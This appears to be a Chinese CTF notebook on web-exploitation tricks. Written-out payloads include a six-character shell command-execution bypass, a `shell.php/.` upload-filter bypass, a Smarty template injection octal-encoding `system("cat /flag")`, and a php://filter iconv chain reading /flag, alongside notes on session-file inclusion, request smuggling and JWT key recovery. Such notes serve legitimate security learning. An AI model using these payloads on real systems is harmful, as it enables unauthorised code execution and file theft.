HTTP请求走私
在下面代码中
if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
return jsonify({
'message': f'{app.config["FLAG"]}'
}), 200
当X-Forwarded-Host
属性的值为dev.apacheblaze.local时即可获得flag
XFH属性的作用就是查看用户在向反向代理服务器请求时Host携带的域名
但直接修改后并没有效果,如果此时web服务器又恰好是apache,就可以考虑用CVE 2023 25690,详细用法可以参考这里
PHP session临时文件
当php生成session的同时,会在/tmp目录下生成一个带sessionID(也就是cookie里的PHPSESSION)的临时文件。如果此时有文件包含,就可以利用这点进行getshell
例如,获得到的sessionID是114514,那么临时文件路径就是/tmp/sess_114514
字符限制
写题的时候碰到了个6字符限制,也解锁了一种很新奇的rce手法,下面就记录一下这种6字符绕过的手段
>ls #写入一个名为ls的文件
* /*>1 #第一个星号的含义是特定路径下的文件。也就是说如果特定路径下只有上一行写入的那个文件,那么就能把文件名当成命令执行
要注意这里的“特定路径”。因为如果是放index.php的路径就会失败,必须是一个专门写文件的路径。
另外,不止6字符可以绕过,5字符4字符也都能绕:https://blog.csdn.net/q20010619/article/details/109206728
JWT中的RS256碰撞
打网鼎杯碰到的一个神奇的方法,可以用两个不同的jwt_token通过工具rsa_sign2n获得RSA公钥,然后再通过RsactfTools破解出私钥(好像是利用了某个CVE吧….赛后wp出来前还被队友吐槽怎么可能用公钥生成私钥XD
操作案例可以看这篇wp
后缀绕过
如果代码中的后缀检测和文件上传方式是类似下面这样
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {
return false;
}
...
...
$target_file=$name
move_uploaded_file($file['tmp_name'], $target_file)
就可以通过shell.php/.
这样的方式绕过。这是因为在pathinfo
中会将这句payload解析成空后缀,从而不会而在move_uploaded_file
则会自动将/
后的.
去掉,从而保存shell.php文件
Smarty模板注入
各种注入方法这里讲解得更丰富一点:https://xz.aliyun.com/t/11108?time__1311=Cq0x2DgD0Q3xlEzIx7KaPiqiKPAIjQDkeveD
我主要记录一些有关smarty模板的小知识
在上面博客里讲到用下面这种方法进行命令执行
如果直接放在一个需要渲染的html里,这里的eval其实是可以省略的。具体可以看下面smarty文档的解释
这里的eval其实和string是差不多意思,只是string会创建一个临时文件再执行这个文件后返回结果(不知道这里会不会有关于string的安全问题,毕竟会写文件),而eval则是直接执行data里给的东西
也就是说当注入环境如下时,你的payload就必须要加上个eval来指明你输入的东西是要马上执行而不需要创建一个文件。
但如果是分开的,比如下面这样
controllers/FileController.php.php
views/file_view.tpl
那么payload就可以长这样
{extends file='views/layout.tpl'}
{block name=content}
<h1>CTF File Reader</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
<pre>{$file_content}</pre>
{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\146\\154\\141\\147\")"}
{/block}
这道题通过利用题目自带的文件上传功能,用把整个.tpl文件换掉的原理来达到执行所插入的模板语句的目的
php://filter伪造读取流文件头GIF89A
直接上payload
php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=/flag